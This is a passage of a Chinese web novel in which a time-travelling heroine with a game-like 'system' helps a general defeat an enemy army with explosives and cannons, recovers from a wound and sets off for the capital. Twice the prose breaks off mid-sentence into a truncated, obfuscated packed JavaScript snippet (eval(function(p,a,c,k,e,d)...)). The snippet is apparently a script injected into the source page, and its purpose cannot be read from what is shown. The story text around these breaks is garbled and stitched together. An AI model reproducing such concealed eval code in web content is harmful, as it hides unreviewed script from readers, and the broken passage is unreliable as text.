顾寻风撑不住了,心神一乱,没注意到后边便是湖泊,后退一步,直接一脚踩空下去,好在湖泊很浅,他跌进去,半躺在石子上,手臂撑着上半身,湖水只淹到他的腰身,衣裳被打湿了大半,脸上也有些溅起的水滴。 林清月没去拉他,几步走到水中,蹲下身撑着脸颊,笑看着他抬手擦脸,抬手碰了碰他脸上没擦掉的水珠。 “将军心乱了。” 顾寻风偏开脸,躲避她的触碰,“林姑娘,你靠太近,越距了。” 林清月才不听他说什么,茅塞顿开道:“哦,是不是你听到我说不喜欢你,所以才装成那么不在意,怕自己是自作多情啊……” “我没喜欢你。” 顾寻风起身就要走,末了,还补充一句:“等拿到我要的东西,会跟你和离的。” 他仗着自己武功高,说完就跑,一下就没影了。 林清月看着他的残影乐了一下,再转头望向空中还在砰砰砰响着的烟火,她想到什么,喊了喊系统,这回系统很快应声。 她坐在湖边。 ‘六,帮我连接一下我队员。’ 【好哒!系统正在连接中,请宿主稍等……】 【叮】 林清月:‘嗨嗨嗨各位新年快乐!’ ‘……’ ‘你在快乐什么。’ 一片沉寂后,不知道是谁毫无感情回了一句。林清月听着,像是仲长椿。 仲长椿??他会说出这种话来?他说的最重的话也就是对秦安肆了吧,平常他还挺和蔼的啊。 林清月:‘军营没宴会什么的吗?’ 这回是秦安肆回话:‘我们还在赶工,不参加,再说了宴会也没什么意思……’ 湛亦:‘也就你觉得没意思!’ 秦安肆:‘哦。但是手头上事情更重要,队长她还困在军营节都过不了,我们加班也是应该的。’ ‘你滚。’ 林清月:‘……’这是秦安肆? 这个在关心她还主动加班的人是秦安肆? 太阳打西边出来了? ‘不是,你们赶工赶疯啦,怎么听起来都这么不正常啊?’ 又沉默了。 最后是罗知之开口:‘没事,只是月姐你不在,有些小摩擦,都没什么大问题的。’ 林清月:‘你们能不能行啊。’ 她调侃几句,顺便问了问他们的进度,思索片刻,吩咐说:‘吵不吵架的先放一边,我回去再说。你们现在立刻马上跟军队的人好好玩去,打好关系,到时候还有拜托他们拉大炮呢。’ 湛亦自然最开心的,队长下令了,其余人也都纷纷应声。 秦安肆没说话。 林清月听着,觉得估计是秦安肆这小少爷不喜欢跟那些人一起玩,单独问他:‘秦安肆,你听见我说话没?’ 果不其然,秦安肆拒绝:‘我不去。’ 林清月此时正找了个高处坐着,把脚放在湖中摇摇晃晃,听此,她嗤笑:‘你是不是觉得是你害我被抓,自责了啊,秦小少爷。’ 他没说话,林清月继续劝:‘一起玩多好,多热闹,我在这边过得也挺好的,有顾寻风在我能有什么事?过段时间,等我把他们大帅骗……’ ‘你的东西已经改好了。’秦安肆打断她说话,‘顾寻风前几天回来一趟,拿走了。’ 林清月:‘……’ ‘我没自责,我会去玩的。’ 然后脑海中就安静了。 林清月切断了联系。 她的炸药包在顾寻风那里,可顾寻风被她撩跑了啊,刚跑的。 …… 不行,得去找找…… “清月姑娘。” 林清月刚抓着鞋要穿,身后突然传来齐锋眠疑惑的声音,“我找你好久,怎么一个人在这里坐着?” 她不在意,继续甩甩脚,把水甩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林清月拍拍他的肩膀,把一个工具放到他手中,笑笑:“那就——靠你了。” 李驰微愣。愣神之际,林清月已经起身,拍拍裙子离去。 牢房内只剩下他一人。 过了许久。 李驰深深呼出口气,把工具放下,看着手心被传递过来的纸条,小心翼翼打开。 …… 很快炸药包收尾了,李驰被齐锋眠带到城门口去,依照之前所言,没有阻止,更没有多说一句话。 李驰出了城门,骑马狂奔,手时不时捂着胸口,护着什么东西似的。 忽然,马啸叫一声,带着李驰跌倒再在地,齐锋眠果然派人来杀他了,他武功不高,一人敌不过,之前受刑的伤也没好,很快伤痕累累被逼到了林子里。 他跑到一个斜坡前,胸口再中一箭。 他毫不犹豫拔下箭身,在接下来几箭到来之前跳下去,滚下陡峭的斜坡。 几个士兵追到这里又往下放箭,斟酌之下撤回。 “……大帅,他掉了下去,我们没敢追下去,不过在此前已经身受重伤,估计活不下去。” 齐锋眠:“周围搜索过了,没其他人接应吧?” “搜过,没发现人。” 林清月在一旁听着,等到通报的人退下,先是恭喜了一下齐锋眠,而后提醒:“那炸药包需要派人去放进他们粮仓,大帅可有人选了?” 齐锋眠思索片刻:“这事太重要,我去吧。” “好。”林清月故意停顿了一下,“不过,战场那边也需要大帅啊,不然……我去?” 36. 完成任务 出乎意料的,齐锋眠没有立马拒绝怀疑,本来林清月还有趁着机会再卖一波惨的,结果齐锋眠只是权衡利弊了一番:“现在顾寻风不在掌控之中,只有我能跟他去过两招,也只有我去才能把他逼出来……好,我会派人跟着你保护你。” 他有些担忧看着她:“那到时候你自己要注意安全。” “……” 他是不是恋爱脑上头了? 这也不算恋啊…… “我会的,谢谢大帅信任。”林清月奉承了几句。 在齐锋眠还想说什么其他的时候,林清月找理由说要继续看看图纸,回去帐篷,抱着图纸写写画画,消磨了一天。 齐锋眠打算在三日后起兵,这几日其实没她多少事,她看好他做的东西就行了。 只是顾寻风那…… 也不知道什么时候把东西给她。 正想着,外面风一吹,林清月就瞧见一道红衣的影子,明目张胆翻了进来。 她心脏都快被吓停了。 “你怎么这么大胆?!”林清月靠近他,把他拉到暗处说话,免得被外头的人看到人影。 靠得近,说话声音近乎气声。 顾寻风这次是带着正事来的,问她:“你的东西我放哪?” 林清月思考了下,“就……那些将领的帐篷附近吧,我看了的,是中心地带,造成的伤害大。” 顾寻风说:“不炸齐锋眠?” “炸他那没用,就按我说的来。”林清月揉了揉太阳穴,记挂着白天的事,问:“李驰你救了吗?” 顾寻风的手紧了紧,声音低沉下去:“他们搜查太严了。” “……” 林清月呼吸一滞。 她双手抓住顾寻风的胳膊,声音有些抖:“他死了?” 顾寻风满目浊色,眼神暗下去,看不清其中情绪。 林清月深呼吸,尽量调整自己的心情。 “……我不能太过阻止齐锋眠行事,只能给他递纸条让他小心些,希望他没事,他身上还有些东西的……我还给他排了个任务,他不能死啊……” “他掉下崖了,能赶得回来吗?我要不要再拖几天,你帮我再找找他行不行?” “顾、顾寻风……” “你不要紧张。”顾寻风拍了拍她的背,听出她的情绪,把自己心中的慌乱压下去,“他很聪明,会想办法活下来的。” 顾寻风垂眸,就着这个动作,下意识把他抱入了怀里。 其实李驰没那么聪明,他没救下他,也没想过他能活下来,但是林姑娘娇生惯养,从未经历过这种事,他还是觉得安抚一下比较好,免得计划乱了。 他镇定下来,问:“你原本怎么计划的?” 林清月把额头抵在他胸前,暂时忘掉刚刚那些事情,退出他的怀抱往后靠了靠,“我让李驰逃出去后再做些炸弹,比我之前拿的那些威力更大,把齐锋眠引出去了,他就能用这个去炸了粮仓。” 她呼吸有些急促,说到这顿了下,平复几秒后继续说:“不过这只是个备用的任务,不轻不重,没关系的,这几日你还是帮我找一下他,拜托了。” 顾寻风望着她,片刻后,抬手抚了抚她鬓边的头发,她抬头看过来,眸中盈盈,在黑暗的角落中格外亮眼。 “不会让你计划落空的。” 压低的声音传入耳中。 林清月抬手拉了拉他的衣角,心中升起一丝不安,“你想干什……” 顾寻风却没等她说完,转头就走进了光亮之中。 他刻意打翻烛台,转身把追上来的林清月拉近,另一只手抬起,在她脖颈后一劈。外头正好巡逻的士兵过来,发现异样,喊着靠近,顾寻风把林清月放到桌边做好,呈趴桌的姿势,拿起桌上的图纸,刚好门帘被掀开。 “有刺客!” “他朝那边跑了,快追——!” “……” 林清月两眼一黑,再次醒来时,军医刚离开帐篷,齐锋眠见她醒了,端了杯水过来。 她揉揉太阳穴,看向外面,“这是怎么了?军医怎么来了?” 齐锋眠气道:“昨夜那顾寻风闯进来打晕了你,还抢走图纸——他两次抢我布防图的事我都还没跟他算账,这人简直无法无天!” 林清月:“……太可恶了!” 这家伙一定是想着若找不到李驰,就自己去烧他们粮仓,也不跟她商量,打了她就跑,实在是太可恶了! 这件事不了了之。 他们没本事抓到顾寻风。 林清月安稳等到三天后,那天她一大早就醒了,齐锋眠给了她一些士兵,都是看起来身强体壮武功高强的,她去放炸药包,走的是近道,比齐锋眠先出发。 齐锋眠打算晚上去打,攻其不备,也算是给了她足够的时间。 他们到达军营的时候,已经是未时,太阳正烈,不过这季节温度也不高。 林清月带着他们躲躲藏藏,沿着去山洞的地方走,这里地势平坦,军营是最普通的构造,里面巡逻也松散,这样看下来,林清月觉得这都潜不进去的都不算人。 她蹲在草丛中,状似观察。 而脑海中正在轰炸系统。 ‘死老六快出来,喊你一路了。’ 滋滋滋的电流声比系统声音先出现,林清月对这种现象已经麻了。 【……6在……宿主】 ‘……连接一下我队员。’ 【……滋好……主稍等】 ‘……’ 过了半晌,脑海中才终于“叮”的一声。 林清月道:‘我已经到了,你们埋伏好没?千万别让他们有人回去通风报信啊。’ 秦安肆:‘现在动手?’ 林清月:‘确定能一次性解决就动……’ 话还没说完,身后传来一排倒地的声音,她猛的回头。 脑海中,秦安肆的声音幽幽传来:‘江奇云已经冲出去了,拦不住。’ 林清月:“……” “将军呢?!”江奇云蹲在她面前第一句就问,“我们家将军呢?” 林清月想到他不知道擅自去干啥了就觉得气,皱着眉,此时刚好队员都在身后过来了,她没回答,起身就拿过湛亦手里的绳子吩咐:“快趁他们晕着都捆起来。” 几人开始动作,江奇云着急,跟着林清月后面,话没问出口,被秦安肆塞了绳子在怀里拦住,“先去捆人。” 江奇云没办法,只能先去把人捆好,几人一路回了营地,把敌军丢到牢里,林清月带着江奇云和队员们去了顾寻风的帐篷里。 秦安肆拿出一张布防图放在桌上,正是顾寻风偷的那张:“我们分了三个炮车去靠近敌军营地,你可以看看位置,昨天我们就让人去布排了,多亏有这个布防图,没人发现我们。” 罗知之补充:“营地内部留了两架炮车,打敌人完全够用。” 林清月照例询问:“性能都测过没?” 秦安肆:“简略测过,有可能会有几个哑炮,不过问题不大,我们赶工多做了一架炮车出来,主攻他们营地的有三架,完全可以把他们营地炸成灰。” 林清月点点头,对于这个战略部署没什么疑问。 此时江奇云终于忍不住了:“我们将军到底在哪?还有李驰……” 一听到这个名字林清月就下意识喝止了他。 她自己都愣了一愣,然后低下头去看图纸。 江奇云坐不住了,扯过桌上的图纸,追问:“将军上次回来,说李驰可以平安回来的,你们在那边是什么情况?难道你真投敌去把他怎么了?还有我们将军究竟去哪了?” 林清月压住语气,尽量平静回答:“我不知道,他神出鬼没的,我又没有上帝视角天天盯着他。” “将军说了让我们都听你的,一切都由你来安排,他这么信任你,你就这样不顾他死活?!”江奇云手劲大得都要把手中羊皮卷撕了。 “顾紫烟呢?” “你明知故问!” “……回去处理楚才家的事了?” “是啊!!” 林清月强迫自己冷静下来,问江奇云:“你们将军怎么说的?” 江奇云语气格外激动:“将军说你已经潜入敌军内部,一切行动都听你的指挥,我们只管打就好了!他也没说、没说今天他人都不在的啊!没有将军在,我们怎么对付那个大帅啊!” “我!打!不!过!他!” 林清月呼吸有些重,喉咙被什么堵住似的,忽然发不出声音来了。 江奇云把羊皮卷丢在桌上,冲上去就要抓住她的胳膊摇晃,被湛亦及时拦住,湛亦当即说:“如果你们将军赶不回来,我帮你们打,你先冷静下来。你如果动手,也别怪我不客气。” “可是……” 江奇云还想说些什么。 林清月以为自己会生气,气江奇云的暴躁,但她却格外冷静,声音也很冷:“他……他们去布置后事了,可能是被什么绊住了脚而已,我们就按照布排来,不能乱。” 她拉过羊皮卷在桌上铺好,看向江奇云,问他:“我们现在兵力如何?” 江奇云纵然还是心底不安,将军不在,他不确定自己能不能打过,但想到之前手臂挨得那一刀,心底火气灭不下去,他深吸口气,想着正好拼尽全力报复回去,也终于是冷静下来,跟她讲了如今的情况。 不用多说,若就正面打,他们不占优的,哪怕湛亦加入了进去。 湛亦对刀枪什么的不是特别熟练,只用拳头,在战场上很难近身,她只在来军营之后才真刀实枪打过。 所以…… 很快到了傍晚,江奇云被她安抚下来,又接着去安抚其他的士兵将领,林清月几人在帐篷内,还在讨论一会的分工。 太阳落山,夜幕降临。 顾寻风没赶回来。 林清月出去帐篷,正好听见外面的叫嚣,齐锋眠来了。 她走到江奇云面前摊开双手:“捆吧,你记得,别冲动,尽量拖一拖,半刻钟后将军还没回来就开打,打不过……及时撤退,知道吗?” “你要看我手势,别一直杀杀杀,在开炮之前组织人撤离,我们这会自从敌军后方开始轰炸,给你们足够的时间撤回来。” “你提醒过他们没?不要杀到太前面去了,不然不好撤退……” “啧,行了。”江奇云把结一打,朝城墙的方向将她推了一下,“你自己都紧张得发抖……快点,自己上去。” 林清月暂时闭麦,平复下自己的心跳,去上城墙。 也不知道能不能成功,她在那边待了许久,那边不论是排兵布阵还是军营防守都比他们规范,她其实没什么信心,就像他们之前说的,这个军营能活下去,真就全靠顾寻风…… 也不知道顾寻风现在在哪…… 还有情报的任务,她在那边那么久了,也翻过齐锋眠的帐篷,什么都没有,也不知道等会能不能套出些什么。 【恭喜完成传承人任务,烟火大传承任务进度90%】 脑海中忽然响起系统的声音。 那就是说李驰真的还活着,而且已经炸掉粮仓了。 林清月猛的停住脚步,她回头看向江奇云,“将军会来的,他来了,我们打起来就很轻松的,你不要紧张,等一下还是多拖一会。” 江奇云没力气吵什么了,叹出口气:“……知道了。” “对了,你知道他们那边有个女将军,叫孟放歌吗?”林清月边走边说话。 江奇云讶异:“孟放歌?她来了?她如果来了那可不太好啊,我们根本没有胜算,她是个很全能的……” “没事,她来了又走了。” “……” 【任务1/2解锁情报已完成,烟火大传承任务95%】 【解锁关键人物:孟放歌; 同时开启土木大传承任务,并更新任务进度5%】 【发布任务:结识孟放歌】 脑海中,湛亦忍不了了吐槽道:‘要么一声不吭,要么连环屁是吧。’ 系统不做声。 林清月深呼吸,顿时觉得心里都安定了许多。 “江副将,加油,你可以把他们打得落花流水的,我们能赢。” 江奇云莫名其妙看她一眼,实在受不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她的身体往下坠,耳边是呼呼的风声作响,她听见齐锋眠喊了她一声,可匕首还在身体里,疼痛加上下坠感,让她快要晕过去。 不行,不能晕。 等等还要让系统帮她联系队友…… “醒醒——”清冽的声音忽而闯入耳中,夹杂着风声,“林……姑娘?” 这个称呼一下让她的意识猛的清醒。 林清月抬手一抓,抓到了对方的衣料,抬眸,眼前渐渐清晰,浮现出顾寻风的脸,他脸上还有些血。 “……顾寻风……” 林清月的声音有些颤抖,因为激动,因为开心,也因为—— “疼!” …… 顾寻风直接把她身上的刀拔了下来,林清月眼泪都硬生生憋了回去,没忍住骂他:“你知不知道怜香惜玉啊,很疼啊傻……” 说一半觉得不太好,又给憋了回去,一只手紧紧抓着他的衣裳,一只手捂着伤口。 “我带你回去。”顾寻风将她横抱起来,转过身往城门走,恰巧城门打开,江奇云领着早就点好的军队出来。 她透过顾寻风的身影看过去,见齐锋眠站在不远处望着她,对上视线的那一瞬间,齐锋眠再次喊了她一声:“清月姑娘……” 林清月只感觉到自己被一颠,脑袋撞在抱着自己的人身上。 顾寻风没有说话,就这么抱着她往城门走,周遭是阵阵马蹄声,但林清月却觉得他的心跳比周遭的一切声音都要大,占据了整只耳朵。 风声烈烈,把他们的衣裳都吹到了一起,飘荡,纠缠。 “你去哪里了?” “江副将的马在林子里没捡回来,救了李驰,放心,他没事。” 林清月整个人都卸了力,瘫在他怀里,“我还以为你要自己去冒险,你这人总是这样不顾自己安危。” 顾寻风垂眸,辩解:“我不是。” “好好好。” 林清月此时懒得跟他争辩,回了城墙上,她让顾寻风把她放下,此时下面已然打了起来。她有些站不稳,但还是撑着一口气,“李驰那边应该已经……” “计划已经成功执行,一会我们只需要开炮逼他们后撤。”顾寻风拿出两支信号弹递给他,“那边守着炮台的士兵我已经吩咐好了,你拉响这两支信号弹,那边就开炮,炮完了便立刻撤回。” 林清月点头,接过信号弹,顾寻风没穿甲胄,也是来不及穿了,就这么跳下去,手中剑出鞘,与齐锋眠对上,齐锋眠被他一套下来打得节节败退。 片刻后,见江奇云他们都负伤累累落了下风,她抬手开始倒数,伸出手比了个五。 江奇云第一时间看到,大喊:“撤——” 顾寻风看见信号,当即一脚踹到齐锋眠身上,随后跟着后撤。 有顾寻风在,命令执行更加容易。 见他们都后撤,林清月才开始往前倒数,手指一根根收回,数到零,伪装成普通建筑的炮台齐齐开始运作。 第一炮是哑的,他们放松了下警惕,后面再接连炮过去容易得多,炮到了许多人。 等炮火燃尽,江奇云他们继续进攻,敌军军心溃散,节节败退,两个将领也都挂彩,不敌正勇往直前的江奇云他们。 林清月再拿出两个信号弹一一点燃放飞。 刹那间,敌军背后的方向也是炮火连天,很快燃起大火,浓烟滚滚,火光照亮了夜色。 她往下看,撞上齐锋眠的目光,齐锋眠回身组织撤退,临走之际,又回头,望了她一眼。 火光在他身后炸开,林清月看不清他的神色。 【完成任务,成功逃出敌营,烟火大传承任务100%】 【恭喜宿主完成烟火大传承任务,奖励积分一万点!开启百宝袋进阶功能~】 火光冲天,林清月抬头看着,月亮都好像燃着火似的。 “他们退了。”顾寻风任由江奇云他们去追,不知何时已经退回来,到了林清月身后。 “挺好的……” “照他的性子应该要追个一晚上,你先去休……” 话语间,林清月转过身,还未看到他眸中去,双腿一软,跌入了他怀里。 “林姑娘!” 昏过去之前,她费尽力气抬头看了他一眼,终于看见他眸中——竟没有火光,只有她。 37. 醒来之后 “你的意思是说,这百宝袋我还有那么几天用不了?” 【是的宿主,要放在空间温养,等待升级成功】 林清月在昏迷之后被拉到了系统空间内,系统说,这百宝袋的进阶功能它暂时也不知道,得放在空间内温养三日。 行吧。 林清月想,反正现在百宝袋也没太大的用处了—— “那我现在就在这待着?” 【宿主~666心疼您~您可以等身体机能完全恢复了再回去哒!】 “行。”林清月停顿了一下,戳戳面前的小光球,是光溜溜的手感,“这是你的本体?” 【是的宿主~】 小光球蹭到她手心去。 【666还在成长,这只是最初形态!宿主你相信666会更可爱哒!】 林清月笑了笑。 她把送到自己手心的小家伙捏住,笑起来,但眼底却尽是淡漠。 “所以,就是你天天消失对吧?” 系统不知道是不是嗅到了一丝危险的味道,挣扎起来,但没挣脱开。 林清月再问:“是你天天不好好说话是吧?” 小光球开始剧烈挣扎。 林清月忍它很久了,肯定不会放过这个机会,于是,就在这阔大的空间内,林清月一手从百宝袋中掏出了一个苍蝇拍,追了拼命逃脱的小光球一个小时。 最后小光球被当做球拍了许久,已经虚脱了。 【宿……主……我知错了呜呜呜我再也不贪睡了呜呜呜呜呜呜……】 打够了,林清月停下来。 系统空间内什么都没有,只有这么个小光球,但好在系统空间的时间流速比外面要快,等待的时间,林清月把它抓在手里又问了问。 “你所说的三天是现实世界里的三天吧?” 【是的宿主!】 系统态度殷勤了许多。 林清月非常满意,语气好了些:“小六,我们为什么会穿越来这边啊?真的好无聊,虽然那天炸军营挺好玩的,但血那么多,也有点害怕……我们真的能回去吗?你说的最终任务……” 【宿主,666是在时空裂缝中捡到你们的,那个时候裂缝已经闭合,我就只能把你们送到了这个世界来,把这个世界修补完毕了,才可以再一次开启时空裂缝,你们才可以回去。】 林清月大概明白了。 她思索片刻:“是因为冰棺吗?” 【抱歉宿主,666也不知道。】 林清月放弃这个问题,好奇问它:“小六啊,你到底是什么东西,为什么会在那种地方捡到我们?” 系统的声音骤然低落。 【因为我犯了错,要弥补错误,但想不到办法,刚好我碰到了宿主,宿主,你可以救666,所以666喜欢您!】 说着,小光球在她身上到处蹭。 林清月费劲把它扒拉开。 “所以说,我们是互惠互利,你放心,我会好好做任务,为了我自己。”她把小光球按在地上,“不过好好奇哦,你一个系统能犯什么错?” 小光球掉了几滴眼泪。 【宿主,666不记得了,只记得、只记得战火纷飞,世界崩塌……而这一切的始作俑者是我……】 【是我……】 小光球身上的光有些波动,明明灭灭,林清月赶忙停止这个话题,抬手捏了捏它安抚,“既然想不起来,就不想了。我身体机能恢复得怎么样?” 系统计算了一下时间,点点头,小光球重新跳动起来,漂浮在空中。 【宿主再等一会,666就送你回去!】 林清月躺在地上,耐心等待了一会,她意识渐渐模糊,彻底模糊之前,她感觉到小光球蹭了蹭她的脸,然后没了意识。 她在系统空间待了一个多小时,换算过来,她应该已经昏迷了一天多。 再次恢复意识,林清月睁开双眼,眼前还有些模糊,她看见一身蓝衣的楚才刚端着一碗药进来。或许还没完全恢复好,她睁眼有些困难,又闭上休息,但听力是好的。 又有一个人进来。 “怎么还没醒?” “将军,姑娘本就体弱,你不该让姑娘这样冒险的。” “我……不知道。” 楚才叹叹气,“那喂药的事还是交给将军了。” 随后楚才出去了。 林清月听见顾寻风走近的声音,走过来了坐在床边上,勺子搅着汤药,碰着碗壁,发出清脆的声音,而此时的林清月还在努力适应身体。 突然,她的下巴被人一掐,嘴巴被迫张开,苦涩的药嘴里立马顺着流入喉咙。 刺激得林清月咳嗽,嘴巴又被迫合上。 “……” 这人是不是有毒,让湛亦来都比他温柔! 好在这刺激够足林清月感觉自己可以睁开眼了,手也可以动,便赶紧睁眼。 眼前的景象从模糊到清晰。 嗓子痒了痒,她咳嗽两声,一滴眼泪蓦的从眼角落下。 “林姑娘?” 林清月坐起来,感觉到有人靠近,抬眸便看见顾寻风那张脸。顾寻风给他把枕头靠好才退回去,问:“你感觉如何了?” “还好。” 顾寻风重新拿起药碗:“你的伤还要养上一阵子。” 林清月抬手想自己喝,被顾寻风躲开,他也没说话,直接舀了一勺递到她嘴边。 林清月妥协,张嘴一口一口喝着。 终于喝完,她吐槽一句:“好苦。” 于是顾寻风突然想到什么似的,放下药碗,拿出一颗糖,“这是你的同伴给的,说你喜欢吃。” 林清月接过,发现是一颗柠檬味硬糖。 “……谁给的?” 这应当是有人随身带的,所以跟着带到了这里来。 顾寻风道:“我不认识,是一个很活泼的男生。我去告诉他们你醒了,这段时间他们也很担心你……” 林清月点头,任由他去。 等了一会,她听见仲长湫的声音从帐外传来:“队长队长你没事了吗——!队长!” 他喊着冲进来。 其余人在他身后进来。 仲长湫跑到床边坐着,“你终于醒了!我们这段时间都还在想下一个传承任务的事情,就等你来一起讨论了。” 林清月笑了笑,问:“长湫,柠檬糖是你带的?” 仲长湫眼睛闪了闪:“对呀,队长喜欢,我就带着了。” 仲长椿在一旁道:“他说你厉害,要把你当榜样,要不是我拦着,他都要把你的照片供起来……真是让人头疼。” 林清月知道,不是特殊情况下,仲长湫是队里最听话的一个了。 “关于那个土木传承……长椿,长湫,你们可愿意陪我去一趟姜国?就是刚跟我们打仗的那个国家。” 仲长椿问:“是去找那个孟放歌吧?” 林清月点头应了一声,想想又道:“不过不是现在。等到了时候,我会提前跟你们讲。” “当然没问题。” 这两兄弟好说话得很,而且有关任务,也没有拒绝的理由,这都没什么问题。 湛亦靠在一旁,“那你们到时候去了那边,我们做什么?” “你们自然有你们的事情要做——”林清月看了一圈,“秦安肆 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他拿着一个桔子,丢到她怀里,靠在床头,也不看她,兀自说话:“我当时下手重了点,你别介意啊……还有,你能不能别老打我们军营的主意?怎么一醒来就要搞这种事情,休息一下不行吗?” 林清月瞥他一眼,笑了笑:“决策要先下,下了还有许多事情,等到真正动工的时间,够你们休息了,再说,这关乎你们的安全,更关乎你们能不能守好临沙关……那么多百姓都看你们的呢。” 江奇云嘟哝:“我看你是去一趟他们那边,就偏心他们了……” 接着立马清清嗓子认真说:“也不是不行,我到时候召集他们商量一下,这不能我一个人就决定。你、你伤应该没事吧?” “哪里没事,疼啊。”林清月开始剥桔子。 江奇云偏头看一眼,见她剥桔子顺溜得很,觉得自己真是多嘴关心。 他撇开这个话题,“你都不知道,你昏迷这一天,将军家那个哥哥又回来一趟,说事情既然结束,要带你们回家见见父母,见你昏迷才作罢。” “啊?!”林清月皱眉,“将军同意了?” 江奇云张张嘴,还没说话,顾寻风突然来了,手中拿着药,江奇云赶忙走了,借口说去练枪。 顾寻风没在意,坐到床边去,言简意赅:“换药。” 林清月疑惑:“楚才呢?” “我不让他来。” “……” 林清月看了看自己的伤口的位置,自觉的扒下肩头的衣料,把伤口露出来,这伤靠近胸口,孟放歌送的衣服质量很好,衣料顺着肩膀掉下来,锁骨也都露了出来。 顾寻风拧开瓶盖,眼神过来,顿了顿,他抬手放在她右肩,稍微推了推。 林清月顺着他的力气挪,斜靠在床头,抬眸,看见他靠近,神色认真。 药洒在伤口上骤然一疼,她下意识缩了缩。 顾寻风捏着她右肩的手紧了一下,抬眸看过去。她眸中似湖水荡漾,声音轻柔:“疼。” 他们之间只隔了两拳的距离,林清月都能感觉到他的呼吸。 他呼吸都顿了下,随后道:“林姑娘忍一下。” 药粉继续洒在上面。 疼得林清月想咬些什么。 她眼睫轻颤,转移注意力似的开口,尽力压住因为疼痛带来的颤抖:“你的伤都处理了吗?” 顾寻风点头。 药粉好像终于撒完了。 林清月松了松一直抓着他胳膊的手,转而扯他的袖口。 “你……我们真的要去你家里吗?” 【解锁任务:拿到顾家宝库钥匙】 38. 胡京之行 听到这个任务的一瞬间,林清月是懵的。 然后她有些崩溃的问了一遍:‘宝库?’ 【是哒宿主!】 宝库里有什么啊,大概跟这个传承任务有关吧……大概……可能…… “你不想去就不去,我一个人回去就可以了。”顾寻风回答了她,神色平淡,“总之你……” “我去!”林清月赶忙开口,“我当然要去!” 顾寻风一怔,有些不可思议,“……我以为,反正我们都要和离了,你不会想去的,而且听江奇云说你要帮忙休整军营,所以我以为你也没时间。” 林清月叹气:“但我有队友啊,我也可以让他们监督,你也看到了他们的实力,他们很厉害的,你完全可以相信他们,到时候,我只带一个人过去就行。” 顾寻风没有问她怎么突然就想跟他回家,顺着他问:“你要带谁?” 林清月失笑,凑近看他,“我说有什么用,你又不知道他们都是谁。” 顾寻风赧然:“也是。” 她与顾寻风商量了一下,顾寻风说改造军营的事应该不成问题,毕竟她在那一天可是出尽风头,大家对她没再那么排斥了。 在定好了改造的事情后,林清月就与康日一起,开始着手画图纸,在土木这方面,康日用处也算大的,他与那两兄弟也更加熟悉,毕竟平日里需要什么东西,都是康日最后检查图纸,测量现场计算数据。 而在这一切差不多准备好了的时候,林清月就开始准备与顾寻风一起去胡京。 “大概要两三天,去了那边,他们估计要留我们几日。” 林清月叠着衣裳,与顾寻风闲聊:“我知道啦,我会好好应对的,至于你要的东西……” 顾寻风道:“不用了,你都已经教给李驰了。” 林清月瞥他一眼,“顾寻风,我们现在与姜国就一直这样僵持不下吗?姜国是什么样的啊,跟我们这差不多的吗?” “不算水火不容,但目前只有些大家商会能出入姜国,我们这边对姜国人也排查很严,寻常人不会放进来。” 顾寻风想了想,问:“你想去姜国?” 林清月道:“也不是,只是好奇。其实我的家在很远的地方,很远很远,只是后来才来到了这里,来到了这我也很少出门,所以我对这里并不熟悉,只怕到时候我认识了什么不得了的人,自己还不知道,所以问问。” 顾寻风垂眸思索。 等到她收拾完东西,顾寻风带她去了军帐,站在大地图面前,指着一块地界,说:“这里与我们,才算是水火不容,至于姜国,其实本质上与我们是一类的,他们原本也是我们的,只是后来分化出去……” 林清月看了看上面的字:“瀛洲?那可以理解为,这个瀛洲,是你们共同的敌人吗?” “是的。”顾寻风点头,“瀛洲位于东边海域,里面有许多岛屿分类族群,他们的制度似乎与我们不一样,我们与他们完全敌对,我没去过,也不太清楚。” “我明白了……” 林清月凑近一些去看地图,抬手指着瀛洲其中一个地区,“这个扶桑,怎么单独标红了?” “是他们的都城。”顾寻风双手抱胸,语气中是对他们的不屑一顾,“听说天皇宫殿就在那儿,居住在里面的主人就是统领他们的人。” 说到这,他顿了顿,“不过也只是听说。” 林清月脑海中逐渐浮现了一个计划,她朝顾寻风走近一步,问:“听说你与陛下关系很好?” “……也没有。” “总之有话语权的吧。”林清月笑眼弯弯,“其实,我在那边军营的时候认识了一个朋友,我还想再见见她,可我家也不是什么大商人,去不了姜国……” 她可怜兮兮望向顾寻风,“如果可以,你能不能帮帮我呀?” “……朋友?”顾寻风警惕似的退后一步。 林清月赶忙解释:“你若不放心我,你可以跟我一起去。总之现在与姜国的战事已经告一段落,你也不必一直待在这了。” 林清月以为自己要软磨硬泡许久,但顾寻风只是稍微想了想,而后认同了她:“有道理,那也行。” 他笑了一下:“反正就算我不答应,你也会因为想见他,自己想办法去姜国的吧。” 见顾寻风答应了,林清月便不再多说,她出行的东西已经收拾好了,挂好升级后的百宝袋,牵上赤马,叮嘱好秦安肆不要再闹脾气吵架,就跟着顾寻风离开了军营。 “长湫,你跟你哥哥说过了吧,我今天没看到他人。” “说过了,哥哥今天跟着去敌方那个烂军营的位置,说想看看他们的结构作为参考。”仲长湫殷勤拿着她的包袱,兴致勃勃,“月姐你放心,我到时候不会露馅的,我喊你小姐,就说我是你的仆人!” 林清月颔首,提醒:“到时候没有其他的情况,你就跟着我,别自己行动。你要出什么事,我也不好跟你哥交代……” 几人一路走走停停,还花了些银钱住宿,好在这些日子县令接管烟花小店后,收益都还不错,他们作为供应商,得到的银钱也不少。 胡京位于西北方向,是桑朝的首都,贸易繁荣,人声鼎沸,进了城门,到达胡京,林清月兴奋的左看看右看看,张罗着给队里每个人都买件衣裳。 顾寻风先回顾家跟家里人确认家中情况了,林清月便就在不远处的铺子内挑衣裳。 这儿是都城,又是中央地带,衣裳种类繁多,林清月挑得眼花缭乱,足足选了半个时辰,才把衣裳挑好,除了仲长湫的是自己挑的,其余人都是林清月凭自己的印象所选。 老板对于她这般花大钱的顾客很是殷勤,忙前忙后,亲自监督店员打包。 林清月在店内踱步,仲长湫问:“队长你自己的衣裳呢?” “不知道选什么,感觉都没那件好看,挑不出来。” 